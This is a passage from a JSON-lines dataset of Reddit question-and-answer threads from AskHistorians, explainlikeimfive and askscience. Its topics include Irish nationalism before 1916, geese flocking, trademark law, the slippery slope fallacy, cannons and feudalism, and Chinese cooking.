an inevitability, as the IPP gained more support in the British Parliament. There is a great book on the establishment of the UVF called Carson\u2019s  Army by Timothy Bowman. \n\nThe Irish Citizen Army, which was a group of trade unionists dedicated to defending workers demonstrating. They mainly came to prominence in 1913 during the 1913 Lockout, when striking workers where locked out of the factories they worked which led to a small class-war within the cities. This group was mainly made up of Marxists and Socialists. \n\n\nThen we have the Irish Republican Brotherhood, a secret oath-bound fraternal secret society dedicated to establishing an independent Irish democratic republic. The IRB operated mainly between the years of 1858 and 1924. What makes the Irish Republican Brotherhood such a powerful group was the way in which it immersed itself within other nationalist groups. Many members of the IPP, Sinn Fein, the Irish Citizen Army and the Irish Volunteers where members of the IRB. \n\nThe IRB\u2019s oath went something like \n\n\u201cI, AB., do solemnly swear, in the presence of Almighty God, that I will do my utmost, at every risk, while life lasts, to make [other versions, according to Luby, 'establish in\u2019] Ireland an independent Democratic Republic; that I will yield implicit obedience, in all things not contrary to the law of God [\u2018laws of morality\u2019] to the commands of my superior officers; and that I shall preserve inviolable secrecy regarding all the transactions [ \u2018affairs\u2019] of this secret society that may be confided in me. So help me God!\u201d\n\nFrom:John O'Leary, Recollections of Fenians and Fenianism, Downey  &  Co., Ltd, London, 1896 (Vol. I  &  II)\n\nWith the outbreak if WW1 the political landscape of Ireland changed drastically. Members of the UVF, looking to prove their allegiance to Great Britain, joined the war effort and many left for mainland Europe to fight. John Redmond, the leader of the IPP during the outbreak of war, also called for Irish Nationalists to join the war effort also. This led to some resentment towards Redmond from the more anti-British groups in Ireland. \n\nThe more hardline Nationalists perceived the war in Europe as an ideal time to stage a rising, while the British were occupied with war, The Irish RepublicanBrotherhood began plans to establish an Irish Republic through a cross-country rising. Plans went underway to have a succession of risings in the large counties in Ireland, however due to the secrecy of the IRB and the miscommunication between different Fenian groups, the Easter Rising of 1916 was mainly concentrated in Dublin although there was various skirmishes throughout the country. \n\nThe Rising was a military failure, with all Irish rebels captured and jailed, the leaders executed. However it was a pivotal point in unifying Irish Nationalism under a cause for complete freedom which led to the Irish War of independence\n\nEdit: I apologize for the formatting and spelling, I\u2019m on a train to Cork on mobile."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Warrington_bombings", "https://en.wikipedia.org/wiki/Easter_Rising", "https://en.wikipedia.org/wiki/Irish_revolutionary_period"], []]}
{"q_id": "8opp1o", "title": "This question is more about research of history itself: What's the difference between Anthroplogy and Ethnography?", "selftext": "While these sciences are not history research themselves, all three use eachothers tools and knowledge interconnectedly. Hell, my favourite stuff to learn about is microhistory, which is a pretty solid mix of these.\n\nHowever, I have had multiple seminars and classes about the topic, and could never figure out the difference that makes anthropology and ethnography separate sciences.\n\nAt the end of every article of literatue on the topic, the only difference I can see is that Ehtnography is the kind of Anthropology that needs no passport to research.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8opp1o/this_question_is_more_about_research_of_history/", "answers": {"a_id": ["e0585n5"], "score": [6], "text": ["You may also want to submit this question to /r/Askanthropology. In the US, anthropology departments frequently include the fields of archaeology, ethnography, demography, linguistics, and primatology. By that definition, ethnography resides under the umbrella of anthropology. Ethnography is generally taken to mean the study of culture and one of the fundamentals in the early way it was practiced was that one should remove oneself from one's own culture - and study another culture to gain a better perspective. In Europe, this created the situation where ethnography was often the study of colonial cultures, and the discipline of folklore stepped up for the study of European cultures, often using similar methods, but just as often resulting in distinct bibliographies. In Europe, archaeology and ethnography are frequently in separate departments, again because the former often began with the digging up of European antiquities while ethnography/anthropology was more of the study of colonial cultures.\n\nIn the US, archaeology and ethnography frequently found common ground because they were two expressions of the study of Native Americans and other cultures. They had overlap in same methodology and goal - namely to understand the culture of other people (one removed geographically and/or culturally and the other removed by time).\n\nedit: adding linguistics - how could I forget that?!?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2wjdx5", "title": "how come so many games are called top game or game of the year?", "selftext": "Who gives them the title, otherwise is it not false advertisement? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2wjdx5/eli5_how_come_so_many_games_are_called_top_game/", "answers": {"a_id": ["cordm9c", "cordutv", "corehah", "corol40"], "score": [2, 2, 10, 2], "text": ["It is simply marketing.  It's usually the same game repackaged and usually but not always with some extra content.  \n\nIt's quite similar to 'military grade' which is also a marketing term;  anyone can call their product military grade or game of the year edition as there isn't a 'standard' that needs to be met for it.\n\nAs for false advertising, it's a gray area; there aren't laws *against* it, so it can happen; also, there isn't a backlash or a large amount of complaints against it, so it becomes a trend.", "There is no single survey or sales list etc from which there could be one single game that is the 'best selling', so different games will come in different places on different lists.\nSo if ten gaming sites were to keep a tally of what games their users report buying over the course of a year, those ten websites may end up with ten totally different games as their \"best selling game of the year\".\nQuite often if you look at the small print of something that advertises itself as the best selling or number one product it will usually say something like \"according to the *** rating\". This will tell you which survey or list they have used that lists their game as being the best selling. They aren't necessarily lying or falsley advertising, they are just showing the results of one of many thousands of different lists.\nUsually the position of 'best game' is given based on one of two things, either number of sales or customer survey, so a game may not have physically sold as many units as another but a magazine may run a large scale survey and more people report preference for a certain game. So, even if it is lower SELLING, the makers can still say it's \"voted game of the year\" but in small print you will find it says something like \"according to *** magazine\". \nIt's not false advertising but it's clever use of small print.", "\"By Who?\" is the million dollar question, and also the answer.\n\nMy game can be called game of the year by review site number 57, while your game is called game of the year by review site 58, and somebody else's game can be game of the year by review site 59.\n\nAs long as somebody calls it game of the year its all legal.", "Same reason there are different movie of the year.  Different groups of people get together and subjectively rank the games released and make their own judgement for game of the year."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "aszg8o", "title": "why is corn starch so prevalent in chinese cuisine, but not corn itself?", "selftext": "I feel like corn is a huge part of American cuisine. From corn syrup to corn oil to popcorn. \n\nBut in Chinese cuisine, it seems like they only use corn starch as a thickener for sauces, marinades, or to coat food prior to frying. I don\u2019t really see the corn itself eaten in any capacity. No corn salsa, corn on the cob, or steamed corn. This is especially surprising considering how prevalent it is to steam or stir-fry veggies in some of these dishes.\n\n", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aszg8o/eli5_why_is_corn_starch_so_prevalent_in_chinese/", "answers": {"a_id": ["egxq29y", "egxqebd", "egxr7yf", "egxsfsx", "egy7atf", "egye591"], "score": [133, 4, 29, 5, 2, 2], "text": ["Corn starch is an import. It's a substitute for the traditional ingredient, mung bean starch. It's used in the USA because we have more corn than mung beans.", "Corn is a New World crop. This means it is natively from the Americas and had to be imported to the Old World. As such its incorporation into cuisine varies by culture. Even Europe which is culturally more similar to the US eats a lot less corn. \n\nThe role that corn plays as a staple grain in the US is filled by rice in China and when corn was imported its use was not adopted enough to displace rice. But its use as a thickener for sauces or a coating to help crisp the surface of meats was useful enough for that to be incorporated. But it should be said that corn being eaten is on the rise in Asia. In particular there are regions of China that like eating what we call baby corn, and there is a major use of Corn in Northern Japan in a variety of dishes. ", "People do eat corn on the cob and steamed corn in China. They are just not usually considered a proper dish served on the table, that\u2019s probably the reason you don\u2019t see them on cooking shows. Also, steamed corn and grilled corn are very common street food.", "It's not. Tapioca starch is the norm. If you're seeing corn starch being substituted it's probably cause tapioca starch is hard to buy outside of Asia.\n\nSide note, using tapioca starch as a thickening agent makes the sauce more runny while corn starch turns it more sticky. I personally prefer the first one.", "Sweet Christmas I've seen so many people eating corn on the cob. It is usually in stands but not street food. I feel like people put red pepper or honey on it. One time on a China Eastern flight a tour guide busted out a garbage bag of corn in the cob and started throwing them around. Four people sat next to me before we took off. The tour group thought planes were like flying busses.", " >  it seems like they only use corn starch as a thickener for sauces, marinades, or to coat food prior to frying.\n\nIt helps to define Chinese cuisine.  China is a huge country with a long history, there is great diversity of cooking and seasoning style.  But nothing in China is similar to the menu at the typical American Chinese restaurant.  They do use some sauces with thickener, but the thick sauce at the average Chinese restaurant in America is something developed by immigrants to suit our taste.  General Tso's chicken, for example, is an abomination by the standards of Chinese cooking.\n\nIf you have Amazon Prime video, search for [The Search for General Tso](_URL_0_), it isn't real Chinese food and he wasn't a real general either.  I *like* Chinese American food, the price is comparable to McDonald's, the quality is far higher, and I like the hardworking families who run the restaurants.  But authentic Chinese cuisine is fucking dank, I highly recommend it.  The sauces aren't generally so think you immediately think of corn starch.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://www.thesearchforgeneraltso.com/"]]}
{"q_id": "17qv9a", "title": "When Mussolini was killed, what did they do to his face and body?", "selftext": "I know it seems like a strange question, but my friend and I were discussing Hitler and why he killed himself and it came to how Mussolini died and how his body was treated. We decided to look up images and they were very graphic.\n\nI will include [one here.](_URL_0_)\n\nWe know he was hung upside down, but why was his face lacerated and what did they do to him that had Hitler so frightened that he killed himself.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/17qv9a/when_mussolini_was_killed_what_did_they_do_to_his/", "answers": {"a_id": ["c880xvu", "c8824rj"], "score": [4, 2], "text": ["While his body was hanging in the square, people threw stones at him. They seem to have done quite a bit of damage.", "Hitler wasn't frightened because of what the crowds had done to Mussolini, Hitler killed himself inspite of Mussolini's death. \nHitler knew that at the end of the war, as the Russians ans Americans were closing in on Berlin he was going to be captured, and he knew that he was the ultimate prize. I personally think he was more scared of what would have happened to him if the Russians had got to him, after all 20million Russians were dead as a result of WW2.\n\n\nAs for mussolini, he was hung upside down to a lampost and alongside throwing rocks at him, i believe at one point the crowd surged forward and started kicking his face and such."]}, "title_urls": [], "selftext_urls": ["http://upload.wikimedia.org/wikipedia/commons/thumb/9/9c/DeadMussolini.jpg/220px-DeadMussolini.jpg"], "answers_urls": [[], []]}
{"q_id": "f1iy3o", "title": "why is the slippery slope argument not considered a valid argument?", "selftext": "This has always bothered me, because I can think of instance where bad behaviors can definetly lead to worst behaviors. The classic, if you smoke pot you'll use harder drugs, is clearly not true in itself. Weed doesn't cause you to want to do harder drugs, but since weed is illegal in a lot of places, it could expose you to hard drugs and you could become a user. I understand that this is not always the case, but I'd like to better understand why this is considered a fallacy when it could be true sometimes.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/f1iy3o/eli5_why_is_the_slippery_slope_argument_not/", "answers": {"a_id": ["fh6hz94", "fh6i169", "fh6i5fd", "fh6i6y4", "fh6i8o0", "fh6ihc6", "fh6krhn", "fh6lbag", "fh6mpxw", "fh6pby6", "fh6pecw", "fh6pk1e", "fh74gfj", "fh7ey1l"], "score": [2, 2, 10, 2, 2, 46, 2, 2, 12, 3, 2, 2, 2, 2], "text": ["By your own explanation it's only true sometimes. Likely due to some coincidence or some other factors. If something is only true sometimes then it's a poor argument.", "It makes assumptions without providing any evidence to support those assumptions.  \nIt is not an argument as much as it is a deflection.", "Because they don't always (or even most of the time) lead to the worse possible scenario.  Often the Slippery slope is used to say only one (highly unlikely) possibility will result from the first action.  Perhaps my favorite example was one that was used against same-sex marriage before it went legal.  The argument went something like this: \"If we let people of the same sex marry, that destroys the institution of marriage itself. If it happens, next people will want to marry immediate family members, and then people will be want to marry animals.  We can't let that happen so, same-sex marriage must remain illegal.\"", "You answered it in your question. The problem with the slippery slope argument is it's framed as x ***will*** lead to y. It's one thing to say x may increase the chances of y. It's another to say if x happens it's only a matter of time y does and then z not much longer.", "You explained in your own example why it's a bad argument. Context is very important when it comes to predicting human behavior and slippery slopes don't take context into account. \n\nFrom your example alone, we actually know that smoking cigarettes is more highly correlated with hard drug use at this point in time than marijuana use, but that wasn't true in the 60s. It seems to be more about perceived risk than about exposure to legal vs. illegal drugs, just as an example for where the whole slippery slope doesn't work. \n\nTake another common one:\n\nIf we make same sex marriage people legal everyone will want to marry their pets/tractors etc! Except the direction that sex/relationship norms is moving is TOWARDS more consent based relationship (away from child marriage etc) so since tractors and dogs can't consent....probably not gonna happen.\n\nLogic wants proven cause effect relationships.", "Fundamentally, A argument (legit ones) require proof and logical deduction.\n\nSlippery slopes USUALLY rely on assumption.\n\nWhile doing weed = illegal = more likely to commit other illegal act seems legit at first glance, IT IS BASING it's legitmacy on 1 single prospect, and then making more assumptions. You simply don't do this. Just like how you don't see a person being late once and conclude he have trouble keeping time and thus is a unreliable person.\n\nA Slippery slope requires multiple stages and multiple assumptions, where A- > B and B- > C and C- > D thus A- > D. We know A =/= D, there is 0 correlation or causation but because you look at the flow of thought thinking \"huh it has a point\" thus you believe in this false statement. This is why fallacy are so powerful, not just because they are wrong, but because they can seem legit.", "So from what I gather is it's not a slippery slope if you got evidence, and if your not stating it as absolute fact.", "You can't base an argument on the worst possible outcome that you can imagine.\n\n > Slippery slope: I you have a baby, that baby could grow up to be the next Hitler, and then that baby starts World War Four, and then that war destroys the whole human race. Ergo, we have to murder your baby.\n\nIs any of that a proven outcome? No. There is no evidence to support any of the escalating threats in the hypothetical scenario.\n\nIf you have **proof** of a negative outcome (say you have proof that a certain percentage of marijuana users become IV drug users) then it's supported by evidence you can cite, and is no longer a fearmongering slippery slope", "A slippery slope argument is not the same thing as an argument which says that one choice or behaviour will lead to other behaviours. People do confuse them a bunch though.\n\nThe slippery slope fallacy is typified by having an antecedent and a consequent that do not have a causal link. So for example, the argument \"If you smoke weed then things will snowball and you will be doing crack soon\". The arguer has not defined any link between the idea that smoking weed will make you smoke crack. They are just kind of implying that one thing leads to another without offering any evidence. This is a slippery slope argument and fallacious.\n\nNow take the argument you made: \"If you smoke weed in a place that it is illegal then you increase the risk of being exposed to harder drugs when acquiring the weed. Person's who are exposed to harder drugs are more likely to use them. Therefore smoking weed if it is illegal can make you more likely to be a user of harder drugs.\". So now the arguer has defined a causal link between the two behaviours, so it does not have the typical problems of a slippery slope argument (There are still some issues though).", "A slippery slope is not a logical fallacy if it is an argument in itself. You need to back it up with logic and evidence otherwise it's a fallacy and not an argument.\n\nThe argument/valid use of slippery slope would be \"this is a slippery slope because...\". The fallacy/invalid use would be \"you can't do that because it's a slippery slope\" without providing a valid reason why other than that it's a \"slippery slope\".\n\nSlippery slopes are real and happen all the time, and are probably one of the biggest reasons people debate in the first place (such as debating about political ideologies leading to worse and worse things - which they often do).", "Any time you encounter an argument that seems to look like an informal fallacy it should give you pause. But a common mistake people make with informal fallacies is that once they seem to perceive one, they don't inquire further. Knowing a type of fallacy exists acts as a warning that a person may be engaging in fallacious reasoning, but if they can explain themselves sufficiently then it may not be.", "In the simplest of terms, it assumes that if you take one step, others will follow because, once you\u2019ve set foot on a slippery slope, there\u2019s nothing to stop you from sliding all the way to the bottom.\n\nHowever, there is simply no reason you can\u2019t take one step, and then stop, or two steps, then stop, or three steps and then turn around and walk four steps in the other direction, or...or... \n\nYou get it.\n\nGun laws are often shot down on slippery slope arguments - for example, \u201cif you make bump stocks illegal, the next thing you know all guns will be illegal.\u201d\n\nNow, when you look at that with dispassion, you can see that\u2019s a logical leap that makes no sense - you\u2019re not required to pass any other laws just because you passed the one.  But, by convincing people that one law will lead to two, three, four, and... and..., until the maximum irrational outcome has been reached, you equate a small step with an overblown and undesirable major outcome.  This false equivalency keeps people from taking even small and reasonable actions.", "It\u2019s not a fallacy, I think people are usually just disagreeing about how slippery a slope is. \n\nLet\u2019s take the metaphor literally. You\u2019re on top of a mountain, and there\u2019s a slippery slope off a cliff. Is it reasonable to step into it? No. \n\nIf it\u2019s a bunch of solid steps down to the cliff, is it ok to go down a few and get yourself out of the wind? Yep. \n\nThe idea that actions have consequences isn\u2019t controversial and is not a fallacy. The question is what are the consequences, and are undesirable consequences easily reversed or prevented in other ways. I.e. how slippery, or inevitable, are the consequences. The fallacy that you\u2019re talking about is probably just disagreement about slipperiness.", "**\"..but since weed is illegal in a lot of places, it could expose you to hard drugs and you could become a user.\"**\n\nFINALLY. I have been saying this for years, only to get mercilessly heckled by pot smokers who believe there's no way weed can be a gateway drug. This is exactly what happened to me and how I went down the road to meth.\n\nFYI: I am pro-weed and think it should be legalized everywhere."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "4py3wg", "title": "how can someone claim to own certain intellectual properties?", "selftext": "So I was watching Hercules (The one with The Rock), and I noticed that near the end of the credits, it states two things: First, that Hercules is a Registered Trademark of MGM, and second, the standard \"All events and characters are fictional, and similarity to any individual, living or dead, is purely coincidental.\"\n\n & nbsp;\n\nNow the second statement is interesting as scholars can't agree on whether Heracles was purely fictional or had some historical basis (Though  it's most likely he was mostly myth), so to state that there is zero similarity to any dead individual is a bit bold. But the first is what got me asking \"How can MGM claim to own Hercules? A character who has been arguably the most enduring superhero for over 2,000 years in some form or another.\" What's more is that I would assume the Disney Corporation would have something to say about the ownership of Hercules.\n\n & nbsp;\n\nCould I make a Hercules movie? Could it star The Rock? Could it be animated? Whose permission would I have to get?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4py3wg/eli5_how_can_someone_claim_to_own_certain/", "answers": {"a_id": ["d4oo84p", "d4orjoo"], "score": [13, 2], "text": ["So there's a difference between a copyright and a trademark. Saying they own the trademark to Hercules means they own the name \"Hercules\" as it applies to a fantasy action movie. You couldn't make another similar movie and call it \"Hercules\"\n\nYou could make a similar movie and call it something different, like another company did the same year Hercules came out, with [The Legend of Hercules](_URL_0_). You couldn't make an animated musical called \"Hercules\" since Disney already owns that. \n\nTrademark law tends to be a lot \"fuzzier\" that other IP law. How broadly it can be applied generally depends on how unique it really is. If you tried to make a movie called \"Reddit\", even if it had nothing to do with the website, Reddit could probably sue you, because it's a unique word that they created. So the chances of someone thinking the website was connected to the film would be pretty high. But if you called a movie \"Apple\", Apple couldn't sue you unless it was about them (though there is some protection for criticism and analysis), because it's a common English word. ", "Anyone can make a Hercules movie.  Anyone can make a movie with a character called James Bond, for that matter.  The question is whether your portrayal would mislead consumers into believing your movie was associated with theirs.\n\nThe purpose of a trademark is to prevent other people from making a product that is deceptively similar to yours.  It doesn't mean you can \"own\" a word and no one else can use it.\n\nIf you made a Hercules movie, MGM would have to show it was too similar to theirs to prove trademark infringement.  Since the stories of Hercules are in the public domain, none of that counts.  They would have to show you copied the non-public domain parts.  If your Hercules traveled around with an Amphiarus, Autolycus,  Tydeus and Atalanta, that would likely be enough, because that is original to the graphic novel the movie was based on.\n\n >  Could it star The Rock? Could it be animated?\n\nThere is no checklist as to whether something is a trademark infringement.  At the end of the day the trademark owner has to show a judge and jury that a reasonable consumer could be confused into thinking your movie had something to do with theirs.\n\n >  Now the second statement is interesting as scholars can't agree on whether Heracles was purely fictional or had some historical basis \n\nThey aren't making a statement whether Hercules is a fictional or not.  They are simply stating their portrayal represents a fictional Hercules...much in the same way *Bill and Ted's Big Adventure* fictionally portray Lincoln and Freud and Joan of Arc."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/The_Legend_of_Hercules"], []]}
{"q_id": "7rb7hd", "title": "why is it so annoying to touch something fuzzy right after i clip my fingernails?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7rb7hd/eli5_why_is_it_so_annoying_to_touch_something/", "answers": {"a_id": ["dsvjw9n"], "score": [2], "text": ["Because your nails snag the fuzzy thing.\n\nI can't stand it, so I file my nails after clipping them.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9b9u5s", "title": "Do geese belong to individual flocks, or can they just join up with whatever flock is headed in the right direction?", "selftext": "I just watched a large V of geese go overhead, then split apart into two groups and head to different directions. There were also a couple of stragglers rushing to catch up, one of whom seemed to have missed the boat completely and just kept going straight, blazing his own path. \n\nWill that goose be looking around at some point for his family / friends? Will they just be looking around for *any* flock of geese to join up with? I assume that there are only a few main flyways, and they can catch up with their own flock \"on the road\", as it were, but does that matter to them?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9b9u5s/do_geese_belong_to_individual_flocks_or_can_they/", "answers": {"a_id": ["e51vvdu", "e52vo9k"], "score": [4552, 56], "text": ["Hi, ornithologist here! Though my particular research is focused on passeriformes (think starlings and sparrows) rather than anseriformes (ducks and geese), my old research/thesis advisor studied the Canada Goose at length so I have some knowledge of this content area. Bird species, even within families, differ wildly in behavioral terms, so this is specific to the Canada Goose.\n\nSimply put, geese almost always flock in consistent groups. Each flock is a social structure that you can roughly equate to that of a wolf pack with less hierarchical organization. So while you do not have as defined of a pecking order (heh) in this social grouping, you still observe familiarity and friendliness of individuals to others within their flock. Therefore, these flocks tend to stay together and individuals do their best to avoid separation. In cases where an individual is separated from the flock, it is possible that they can join another flock but this, as I recall, is somewhat rare.\n\nIn the example you give, that one goose who seemed to have missed the boat will likely meet up with the flock again at one of the \"stops\" along the migration route.\n\nEdit: Changed \"Canadian Goose\" to \"Canada Goose\". The latter is more appropriate and what I would use in journals, but in conversation I use Canadian as that's how I was raised and most in the field don't mind either way. The people who demand exclusive use of \"Canada Goose\" are the same who would give you trouble for splitting an infinitive or dangling a participle. ", "There's two questions you didn't directly ask that you might like answered:\n\n1. When goslings lose a parent/parents, what do they do?\n\nThey generally join another gaggle of goslings.  Care of goslings can be more like a collective \"day care\" with care shared between several adults.\n\n & #x200B;\n\n[Gang brood.](_URL_0_)\n\n & #x200B;\n\n2) Do all Canada geese migrate?\n\nNo, there are many flocks that have abandoned migration."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.about.lovecanadageese.com/gang.html"]]}
{"q_id": "4m3br6", "title": "Did the introduction of cannons push the medieval era into the Renaissance, by incentivizing larger nation states?", "selftext": "This question is inspired by a fun video looking at Game of Thrones through the lens of history.  The claim is made that cannons were at least partly responsible for the transition from a medieval/feudal society to something more like the modern nation state.  \n\n_URL_1_\n\nParaphrased logic:\n\n* Cannon made castles hard to defend.  \n* So defenders were forced to defeat attacking armies in regular battles.\n* So larger armies were required.\n* Which favored lords with the most tax income.\n* Which incentivized the development of large nations instead of a feudal structure.\n\nI can see cannons somewhat of an incentive, but many ancient nation states weren't feudal in structure, right?  Canons aren't listed as one of the reasons I turned up with some quick googling: _URL_0_\n\nIs there anything to this idea?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4m3br6/did_the_introduction_of_cannons_push_the_medieval/", "answers": {"a_id": ["d3sc3t6"], "score": [4], "text": ["Cannons certainly played a role, but they weren't the whole story.\n\nThe transition from feudalism (itself a nebulous concept) to early modern nation-states is a complex one which can be attributed to a variety of causes. It's probably best to deal just with the most relevant feature of the transition being discussed: the development of the centralized state and the elimination of competing regional power-holders.\n\n & nbsp;\n\nFeudalism, to paint an infinitely diverse system with a broad brush, was a method of utilizing the revenue of a country's lands without the need for a complex central bureaucracy. Rather than having an organization of royal tax collectors to assess and collect revenue from all the villages in the kingdom, the land would be granted to someone in exchange for their fealty and military service in times of war, in Europe often on a hereditary basis. That person would then handle revenue collection at the local level. Europe, during much of the Middle Ages, had a relatively cash-starved economy. This meant that villagers could typically not pay all of their taxes in cash, and paid by giving away a portion of their produce to their lord (\"paying in kind\"). For obvious reasons, this would have made it very difficult to maintain a central tax-collecting bureaucracy for the entire country, since financial clerks in Paris would have found it nigh impossible to (for instance) turn wheat collected in the south of France into anything of use hundreds of miles away in Paris. Hence granting the land to local lords who, being local, could actually use the wheat or more easily market it to turn it into useful cash. Over time, this became entrenched as a complex network of overlapping rights and obligations. \n\nSo feudalism was to some degree a method of dealing with the relatively cash-starved nature of the European economy at the time. Once cash became more plentiful, states again had the capacity to centralize, as revenue collection on a large scale became possible. It was the infusion of cash into the European economy, not cannons, which made the end of feudalism a possibility - indeed those cannons also would not have been able to be deployed in large numbers had Europeans not had the cash to pay for them.\n\n & nbsp;\n\n*However* - cannons did play a major role in state centralization, once the process began. All those local lords had to be suppressed somehow, and cannons allowed the expanding state to more easily crush their resistance and destroy their innumerable fortified castles. The guy making the video seems to miss that crucial point: cannons made centralization easier by enabling kings to defeat potential internal resistance.\n\n & nbsp;\n\nI'm also skeptical of the idea that the appearance of cannons directly led to larger army sizes. As far as I'm aware, the largest relative increase in the size of European armies came during the sixteenth century, after the type of centralization referred to in the video was already well developed in the major states of Western Europe - also a period when fortification technology was rapidly adapting to be able to resist cannon barrages, the so-called *trace italienne* (see for instance Black, Jeremy. *European Warfare, 1494-1660*. Routledge, 2002). This YouTuber seems to be addressing fourteenth and especially fifteenth century developments, before the rapid expansion of the size of European armies associated with the Italian Wars."]}, "title_urls": [], "selftext_urls": ["http://www.lordsandladies.org/decline-of-feudalism.htm", "https://www.youtube.com/watch?v=PDdKmx0PW7s&amp;feature=em-uploademail"], "answers_urls": [[]]}
{"q_id": "pax4z", "title": "elim5 \"hotlinked\"", "selftext": "Specifically, how can I tell if a comic is \"hotlinked\"? I'm trying to be a good redditor by trying out /r/comics/new, but I realized I don't understand how to tell if something is 'hotlinked'. I have already read online that this has to do with rehosting, or not rehosting, but it's not clear to me what the issue is and how I can tell if something is doing this.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/pax4z/elim5_hotlinked/", "answers": {"a_id": ["c3nw72h"], "score": [5], "text": ["Hotlinking means pointing directly to the image file on the original content creator's website. So, when something hits the front page and thousands of redditors see the image, that causes some pretty heavy strain on the original server.\n\nNow, this might not be so bad if all those people were checking out this person's website and possibly buying some merchandise or what have you, but the hotlinked image is stripped away from the rest of the website so those benefits are gone.\n\nTL;DR: Hotlinking forces the original content creator to bear the burden of heavy traffic without getting recognition."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "66vzbl", "title": "what does it mean when one says \"life is suffering\"", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/66vzbl/eli5_what_does_it_mean_when_one_says_life_is/", "answers": {"a_id": ["dglv8ta", "dglvcxw", "dgm6vij", "dgm923y"], "score": [6, 22, 2, 2], "text": ["Think about it:\n\n* you have to work in order to get food, maintain your shelter, etc.  While work is not suffering, it's not bliss / happiness either.\n\n* there are moments of happiness in life, such as falling in love or having kids, but they are not guaranteed.\n\n* moments of sadness ARE guaranteed to happen, however:  parents dying of age, loved-ones dying for various reasons.\n\n* most societies are zero-sum:  for some people to advance / get rich / have happiness, a number of other people have to fail / stay poor / have suffering, and generally success is a lot less common than failure.\n\nSo, if you try to sum up the statistical likelihood of happiness vs. work vs. suffering in life, using 4 words or less, you end up with a [hyperbole](_URL_0_) like \"life is suffering.\"  An exaggeration, basically.", "\"Life is suffering\" is only one of the \"Four Nobel Truths\" of Buddhism, and without the others it lacks any real context.\n\nSimplified wording of the Four Nobel Truths are:\n\n1. Suffering exists\n2. Suffering arises from attachment to desires\n3. Suffering ceases when attachment to desire ceases\n4. Freedom from suffering is possible by practicing the Eightfold Path\n\nSo wanting things cause us to suffer, and the only way to end the suffering is to not want anything. But that's not possible, since simply being alive requires things like food, water, clothing, etc... So simply being alive causes us to suffer in this way.\n\nThe Buddhist statement isn't commenting on anything like major depressive disorder or chronic illness.", "Suffering, sadness, pain, and unhappiness are all inevitable in our lives and human experiences. You can take this negatively for obvious reasons, or you can see it in a more positive light: being sad, encountering challenges or hardships, and experiencing hurt and heartbreak are all natural elements of human existence, and it's OK to feel sad or angry and be hurt and vulnerable. This doesn't mean that you should just lie down and accept bad situations in your life, but acknowledging pain and sadness and suffering as natural parts of life can help you cope, and keep you from just wrapping yourself up in bubble wrap and building walls around yourself to prevent yourself from ever having bad experiences. \n\nFrom a Buddhist perspective, though, life is suffering because suffering stems from wanting, needing, and being attached to things. Think about it: you want/need food and shelter. You suffer if you don't have those things. You want to make a lot of money and have a good job. You suffer if you don't get those things or reach those goals. You're deeply attached to your friends and family. You suffer and feel sad when they die, leave you, or move far away. But you can't let go of all those things and just not want/need anything, so you're pretty much going to suffer and be unhappy no matter what you do. But by working to free yourself of those attachments and desires, maybe you can be liberated from suffering. \n\nBasically, those quotes are saying that negative experiences in your life are unavoidable, natural, and caused by just being a human being who needs and wants and loves shit. ", "I think Arthur Schopenhauer is the best person to articulate this kind of pessimistic attitude. \nLet me summon an excerpt of one of his essay :\n\n\"...The best consolation in misfortune or affliction of any kind will be the thought of other people who are in a still worse plight than yourself; and this is a form of consolation open to every one. But what an awful fate this means for mankind as a whole!\"\n\nIf you want to read further:\n_URL_0_\n\nEnjoy :)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Hyperbole"], [], [], ["https://ebooks.adelaide.edu.au/s/schopenhauer/arthur/pessimism/chapter1.html"]]}
{"q_id": "tfzsy", "title": "Are there flying insects out in the middle of the Pacific Ocean?", "selftext": "Say you're on a boat in the middle of the Pacific, miles from any island. Would there be anything like flying above water, like gnats or smaller? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/tfzsy/are_there_flying_insects_out_in_the_middle_of_the/", "answers": {"a_id": ["c4magfs", "c4mawh9", "c4mdzyt"], "score": [5, 12, 3], "text": ["i go fishing off the coast of mexico all the time and ive seen butterflies as far as 5 miles out flying around pretty regularly.  i think they just get lost and fly as far as they can until exhaustion.  strong winds probably play a big role as well.", "Insects aren't noted for being marine (relatively few species live in or near saltwater), but they've been dispersed to many Pacific islands (the Hawaiian islands being some of the most remote landmasses).  Air and water currents are frequently invoked as colonization mechanisms.  So while you might find some flies buzzing around kelp off shore, I would expect the abundance and diversity to decline tremendously with distance from shore.\n\nAfter some googling, apparently the only truly pelagic (open ocean) insects are 5 species of *Halobates*, a type of water-strider, and they are wingless.\n[Learn more!](_URL_0_)", "Some, at least:\n\n > Every year, millions of dragonflies fly thousands of kilometres across the sea from southern India to 